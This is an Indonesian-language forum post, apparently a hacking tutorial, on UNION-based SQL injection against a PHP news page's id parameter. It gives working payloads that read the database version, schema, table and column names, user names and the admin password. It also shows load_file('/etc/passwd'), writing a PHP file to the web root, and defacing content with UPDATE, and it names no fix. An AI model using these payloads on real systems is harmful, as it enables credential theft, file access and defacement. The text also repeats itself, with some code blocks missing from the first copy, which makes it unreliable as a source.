Salah satu bug yang paling ditakuti di dunia pemrograman web adalah : SQL Injection Vulnerability. Dalam dunia hacking sering disebut dengan SQLiv. Bug ini termasuk paling banyak dijumpai publikasinya di situs-situs pempublish bug dan hacking. SQL Injection ini termasuk bug dengan jenis resiko tinggi. Injeksi SQL biasanya dilakukan dengan cara memasukkan perintah atau sintaks tambahan ke dalam FORM yang ada dalam web tersebut, baik FORM di address bar, maupun FORM yang ada pada content.
Dasar Teknis
1. Serangan GET Methode
Dalam membuat web, biasanya kita akan gunakan pemanggilan ID atau kode unik untuk mengundang suatu konten. Misal:
Kira-kira, proses SQL yang dibentuk adalah :
Apa yang terjadi apabila seseorang menambahkan perintah di belakangnya?
dan selanjutnya? Jika penambahan 1=1 dan 1=0 menghasilkan efek yang berbeda, dengan
Error message memang bisa saja ditutup dengan mengganti value PHP.INI dengan display_errors=’false’. Namun proses error tetap saja terjadi. Maka sebenarnya sintaks perintah di belakang parameter ID itu diproses oleh script. Berbahaya? Ya, sangat berbahaya. Biasanya penyusup akan menggunakan methoda UNION untuk melakukan serangan selanjutnya. Anggap dalam tabel berita bagian yang diambil adalah terdapat 4 kolom/field
SELECT `judul`,`isi`,`penulis`,`tanggal` FROM `news` WHERE `id`='$id'
Proses UNION adalah proses dua SELECT yang harus memiliki jumlah field terpanggil yang sama. Jika sampai proses UNION tidak sama jumlah fieldnya, maka akan terjadi error. Error adalah informasi berharga untuk seorang intruder. Misal si intruder mencoba melakukan pemanggilan sebagai berikut :
maka halaman tersebut tidak akan muncul content. Maka dia bisa melanjutkan
[You must be registered and logged in to see this link.] UNION SELECT 1,2
hingga
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,4
Pada saat itu, halaman selain menunjukkan posting content tersebut, juga akan menampilkan tulisan 1,2,3,4 sesuai dengan fieldnya. Saat itulah si intruder memanfaatkan seperti berikut:
Pencarian versi MySQL
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,@@version
Pencarian nama database yang aktif
Pencarian nama user database aktif
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,user()
Pencarian nama database lain
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT DISTINCT TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA not in('INFORMATION_SCHEMA','mysql','test') LIMIT 1)
Pencarian nama tabel untuk database ‘web’ misal
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA ='web' AND TABLE_NAME not in('coba','test','anu') LIMIT 1)
Pencarian nama kolom / field untuk tabel ‘user’ dalam database ‘web’ misal
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ='web' AND TABLE_NAME ='user' AND COLUMN_NAME not in('test') LIMIT 1)
Pencarian data dalam kolom user atau password
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT username FROM user LIMIT 1)
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT password FROM user WHERE username='admin')
Setelah mendapatkan user dan password dari tabel user, maka dapat dieksekusi Login ke dalam form. Proses lain dapat juga dengan mencoba membaca file dalam sistem atau menulis file dalam sistem
atau bahkan
UPDATE news SET judul='hacked';
Cerita mengenai hacking dengan sql injection akan dibahas dalam posting lain.
Dasar Teknis
1. Serangan GET Methode
Dalam membuat web, biasanya kita akan gunakan pemanggilan ID atau kode unik untuk mengundang suatu konten. Misal:
- Code:
http://satuduatiga/index.php?mod=news&id=12
Kira-kira, proses SQL yang dibentuk adalah :
- Code:
$id = $_GET['id'];
$query = "SELECT * FROM `news` WHERE `id`='$id'";
Apa yang terjadi apabila seseorang menambahkan perintah di belakangnya?
- Code:
http://satuduatiga/index.php?mod=news&id=12 and 1=1
dan selanjutnya? Jika penambahan 1=1 dan 1=0 menghasilkan efek yang berbeda, dengan
- Code:
1=1 posting/berita tetap muncul (tidak error)
1=0 berita tidak muncul (error)
Error message memang bisa saja ditutup dengan mengganti value PHP.INI dengan display_errors=’false’. Namun proses error tetap saja terjadi. Maka sebenarnya sintaks perintah di belakang parameter ID itu diproses oleh script. Berbahaya? Ya, sangat berbahaya. Biasanya penyusup akan menggunakan methoda UNION untuk melakukan serangan selanjutnya. Anggap dalam tabel berita bagian yang diambil adalah terdapat 4 kolom/field
SELECT `judul`,`isi`,`penulis`,`tanggal` FROM `news` WHERE `id`='$id'
Proses UNION adalah proses dua SELECT yang harus memiliki jumlah field terpanggil yang sama. Jika sampai proses UNION tidak sama jumlah fieldnya, maka akan terjadi error. Error adalah informasi berharga untuk seorang intruder. Misal si intruder mencoba melakukan pemanggilan sebagai berikut :
- Code:
http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1
maka halaman tersebut tidak akan muncul content. Maka dia bisa melanjutkan
[You must be registered and logged in to see this link.] UNION SELECT 1,2
hingga
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,4
Pada saat itu, halaman selain menunjukkan posting content tersebut, juga akan menampilkan tulisan 1,2,3,4 sesuai dengan fieldnya. Saat itulah si intruder memanfaatkan seperti berikut:
Pencarian versi MySQL
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,@@version
Pencarian nama database yang aktif
- Code:
http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,database()
Pencarian nama user database aktif
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,user()
Pencarian nama database lain
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT DISTINCT TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA not in('INFORMATION_SCHEMA','mysql','test') LIMIT 1)
Pencarian nama tabel untuk database ‘web’ misal
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA ='web' AND TABLE_NAME not in('coba','test','anu') LIMIT 1)
Pencarian nama kolom / field untuk tabel ‘user’ dalam database ‘web’ misal
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ='web' AND TABLE_NAME ='user' AND COLUMN_NAME not in('test') LIMIT 1)
Pencarian data dalam kolom user atau password
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT username FROM user LIMIT 1)
[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT password FROM user WHERE username='admin')
Setelah mendapatkan user dan password dari tabel user, maka dapat dieksekusi Login ke dalam form. Proses lain dapat juga dengan mencoba membaca file dalam sistem atau menulis file dalam sistem
- Code:
SELECT load_file('/etc/passwd');
SELECT 'test' INTO OUTFILE('/var/www/hack.php');
atau bahkan
UPDATE news SET judul='hacked';
Cerita mengenai hacking dengan sql injection akan dibahas dalam posting lain.